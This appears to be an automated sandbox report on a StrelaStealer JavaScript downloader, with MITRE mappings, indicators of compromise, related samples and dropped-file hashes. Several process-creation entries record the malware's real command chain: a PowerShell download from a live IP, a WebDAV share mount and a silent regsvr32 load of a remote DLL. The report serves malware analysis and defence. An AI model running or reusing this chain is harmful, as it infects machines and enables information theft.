Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
21905169581426428153.js	5%	Virustotal		Browse
21905169581426428153.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3003023198.0000020C96000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1767728623.0000020C962C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1768685146.000001FE7C4C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1767441252.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768902210.000001FE7C51F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768685146.000001FE7C4C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766423650.000001FE7C51D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768747249.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/B	net.exe, 00000006.00000003.1767441252.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768747249.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1767728623.0000020C962C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588325
Start date and time:	2025-01-10 23:59:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	21905169581426428153.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 3.219.243.226, 52.6.155.20, 3.233.129.217, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 23.40.179.59, 23.40.179.66, 23.40.179.61, 23.40.179.53, 23.40.179.60, 23.40.179.65, 23.40.179.64, 23.40.179.62, 23.40.179.56, 52.149.20.212, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:00:58	API Interceptor	23x Sleep call for process: powershell.exe modified
18:01:01	API Interceptor	1x Sleep call for process: net.exe modified
18:01:01	API Interceptor	2x Sleep call for process: svchost.exe modified
18:01:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073320125639414
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	12338E3E81F5E477F179D43F69991932
SHA1:	3C9A33CF664755D5451874EE758759C7537E3401
SHA-256:	224718639A82C44C19959FCD7CFD747C3045BD92272CF43FA054686FA0B6CC92
SHA-512:	C8FF33EC40D98C6840134726A97CC0CF321B480CAE2680090E213E7E3EC95C5282E0D6A476DA2A8691C8DE7D54B5BFC08059F861BB678D5C8028CB2E158716CD
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbd546895, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213264156151276
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	2D2C0F7126DEC02E5B4ECFFDBC088E2D
SHA1:	2C5C130C2269F718DAE70A8EACDF0A3D965496C6
SHA-256:	A6A512C1B86374AC3E058655CFFC178510D397007E315FCE58198A8DE06E2954
SHA-512:	093711EAC77CA6CE61FCFDC38FCCDF9EE5E0538587C6B81C1ACD6FA854543D1712FC715E0485F17846CDFB20529A3E2C17FAD06D8BBF1FD8856DDFE2777C804D
Malicious:	false
Preview:	.Th.... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................@........}....................il.....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07653921254232912
Encrypted:	false
SSDEEP:	3:t/lyYeR78Uuajn13a/dwF//ollcVO/lnlZMxZNQl:18zR7Zua53qdUAOewk
MD5:	6480CDB2BFFB63EA4610596B5966A86A
SHA1:	033BB3DB974D8A4291A1E0B57E74495B5BB0E1FA
SHA-256:	6C675E4BBFA20893E929B255EA555BEC6309240AB4A806B2E93E29987FE90FBE
SHA-512:	37863B9A5FD20993E14A2011E14CEBB3C7530CC9EE793E533DAB6917AC69C71AE87C9D713F874604ED91D911AAD87BD8EC46EC770C6B6D55F048C8CBEBD3581B
Malicious:	false
Preview:	.].n.....................................;...{.......}.......{A..............{A......{A..........{A]..................il.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.113629468726855
Encrypted:	false
SSDEEP:	6:iO4HDQ+q2Pwkn2nKuAl9OmbnIFUtSIdWZmwsIQVkwOwkn2nKuAl9OmbjLJ:7Wc+vYfHAahFUtZW/qV5JfHAaSJ
MD5:	3FD6BB243E8906B98C4B9EA8116ACE3F
SHA1:	2687D118B44834581675F6D270C9288F63341D5E
SHA-256:	5762D68EE6BFF504D038DDD142C9BC8070CDF957549C0108A4B745B9173D089E
SHA-512:	19591FB4E4669174B115D57F587F4B46BBF22ECAE802D4FE0BDE53A753A1E10981281A91A50DAB2489A7C24AFFEDAB825F76E502B49D3FBE2CE0F24249E2F8E3
Malicious:	false
Preview:	2025/01/10-18:01:01.922 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:01:01.925 1c3c Recovering log #3.2025/01/10-18:01:01.925 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.113629468726855
Encrypted:	false
SSDEEP:	6:iO4HDQ+q2Pwkn2nKuAl9OmbnIFUtSIdWZmwsIQVkwOwkn2nKuAl9OmbjLJ:7Wc+vYfHAahFUtZW/qV5JfHAaSJ
MD5:	3FD6BB243E8906B98C4B9EA8116ACE3F
SHA1:	2687D118B44834581675F6D270C9288F63341D5E
SHA-256:	5762D68EE6BFF504D038DDD142C9BC8070CDF957549C0108A4B745B9173D089E
SHA-512:	19591FB4E4669174B115D57F587F4B46BBF22ECAE802D4FE0BDE53A753A1E10981281A91A50DAB2489A7C24AFFEDAB825F76E502B49D3FBE2CE0F24249E2F8E3
Malicious:	false
Preview:	2025/01/10-18:01:01.922 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:01:01.925 1c3c Recovering log #3.2025/01/10-18:01:01.925 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.08225856567653
Encrypted:	false
SSDEEP:	6:iO4fQq2Pwkn2nKuAl9Ombzo2jMGIFUtSt4ZZmwst4zkwOwkn2nKuAl9Ombzo2jM4:7LvYfHAa8uFUtU4Z/a4z5JfHAa8RJ
MD5:	D96EA30836995D7AF0EE3100666E9104
SHA1:	2C753D540B348B08F99FA77B1519318C87763D65
SHA-256:	2D140331ECE1E092D1803239EFCBE7D85EE867E0127E01EC94FD194F2933493F
SHA-512:	A51AC5A3C5F7C30BBDA6B656914B03433D5BD9FF393F71056127AF0B3104D1468E02281AEF6368D4FF4E693868A868F3E67B58C9767F312F7E55D20F08B07B8F
Malicious:	false
Preview:	2025/01/10-18:01:01.940 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:01:01.941 1ce0 Recovering log #3.2025/01/10-18:01:01.941 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.08225856567653
Encrypted:	false
SSDEEP:	6:iO4fQq2Pwkn2nKuAl9Ombzo2jMGIFUtSt4ZZmwst4zkwOwkn2nKuAl9Ombzo2jM4:7LvYfHAa8uFUtU4Z/a4z5JfHAa8RJ
MD5:	D96EA30836995D7AF0EE3100666E9104
SHA1:	2C753D540B348B08F99FA77B1519318C87763D65
SHA-256:	2D140331ECE1E092D1803239EFCBE7D85EE867E0127E01EC94FD194F2933493F
SHA-512:	A51AC5A3C5F7C30BBDA6B656914B03433D5BD9FF393F71056127AF0B3104D1468E02281AEF6368D4FF4E693868A868F3E67B58C9767F312F7E55D20F08B07B8F
Malicious:	false
Preview:	2025/01/10-18:01:01.940 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:01:01.941 1ce0 Recovering log #3.2025/01/10-18:01:01.941 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.965007706575737
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2jihsBdOg2HRcaq3QYiubInP7E4T3y:Y2sRdsPZdMHo3QYhbG7nby
MD5:	EC8BC2A19199A441DF43A2DF4D983FEC
SHA1:	E6F801EF474887E50870EC35881E32FFEFE74BEC
SHA-256:	55D46D3C580AB361AF7DFD54542FC5E04812550D8CAEAF529738A00E3468B0ED
SHA-512:	3B947E168383C187AE663EB387595553032C1089D0A6ED0EEEA7B45082B88467CE619297DAADBFB41AAE592C20A35C8B3E82FD51D7176A8FCE6E5268C7A85721
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110074460284","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136050},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f3727a2d-4282-4826-a643-202e2ce4c965.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.965007706575737
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2jihsBdOg2HRcaq3QYiubInP7E4T3y:Y2sRdsPZdMHo3QYhbG7nby
MD5:	EC8BC2A19199A441DF43A2DF4D983FEC
SHA1:	E6F801EF474887E50870EC35881E32FFEFE74BEC
SHA-256:	55D46D3C580AB361AF7DFD54542FC5E04812550D8CAEAF529738A00E3468B0ED
SHA-512:	3B947E168383C187AE663EB387595553032C1089D0A6ED0EEEA7B45082B88467CE619297DAADBFB41AAE592C20A35C8B3E82FD51D7176A8FCE6E5268C7A85721
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110074460284","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136050},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.257445416171062
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo73nuATa:etJCV4FiN/jTN/2r8Mta02fEhgO73goS
MD5:	D88F6FAC4731098EE77A6EBF2759EB78
SHA1:	BFF2AF20A51222CD2D05D4E498AB8CC9E09A8071
SHA-256:	801C77F973896E6AE0F9C3D3AE36DEF84077125430CDB53833C86CFFA82D58D8
SHA-512:	00AA2DC360562B5A9D30142BE413D0064D90E2D7F3B4A1ACCEE8CBBA645E35EDB2E970C38F0B0DCF4D4E2FF82FC72E1864E9A382A3E7894C1894D981C38A79FE
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.052389752826003
Encrypted:	false
SSDEEP:	6:iO4kGIq2Pwkn2nKuAl9OmbzNMxIFUtSkkKZmwskk2kwOwkn2nKuAl9OmbzNMFLJ:7FvYfHAa8jFUt7/H5JfHAa84J
MD5:	E48DAB87FDD5CD0555276305421B18E9
SHA1:	34F4946F3633CA1D9E258CD344DFB51FE8A0E644
SHA-256:	2F8B76E0F03406D33B618D24FF29CD86926E8C8125570707024A5990FCDE25C0
SHA-512:	F4ED0F9CB6AF3251CF2B0A795E69BDD206063BDDD4BCD7057490ED961BC4C78BCCCB7FBD6B20B77301AA7B14705B9A57BF05D8000C516026284AE38189319A72
Malicious:	false
Preview:	2025/01/10-18:01:02.088 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:01:02.090 1ce0 Recovering log #3.2025/01/10-18:01:02.090 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.052389752826003
Encrypted:	false
SSDEEP:	6:iO4kGIq2Pwkn2nKuAl9OmbzNMxIFUtSkkKZmwskk2kwOwkn2nKuAl9OmbzNMFLJ:7FvYfHAa8jFUt7/H5JfHAa84J
MD5:	E48DAB87FDD5CD0555276305421B18E9
SHA1:	34F4946F3633CA1D9E258CD344DFB51FE8A0E644
SHA-256:	2F8B76E0F03406D33B618D24FF29CD86926E8C8125570707024A5990FCDE25C0
SHA-512:	F4ED0F9CB6AF3251CF2B0A795E69BDD206063BDDD4BCD7057490ED961BC4C78BCCCB7FBD6B20B77301AA7B14705B9A57BF05D8000C516026284AE38189319A72
Malicious:	false
Preview:	2025/01/10-18:01:02.088 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:01:02.090 1ce0 Recovering log #3.2025/01/10-18:01:02.090 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444818127433116
Encrypted:	false
SSDEEP:	384:Cehci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:FLs3OazzU89UTTgUL
MD5:	FFE56C1DEF656CAAE3F25352406DDCCA
SHA1:	DED148089A64AD608AA606E578CE35BE13FB6F0F
SHA-256:	31B48180E392CF84E5A175D7055BF2D3311F308AAA65D85FFBE1F72AE19BFBA9
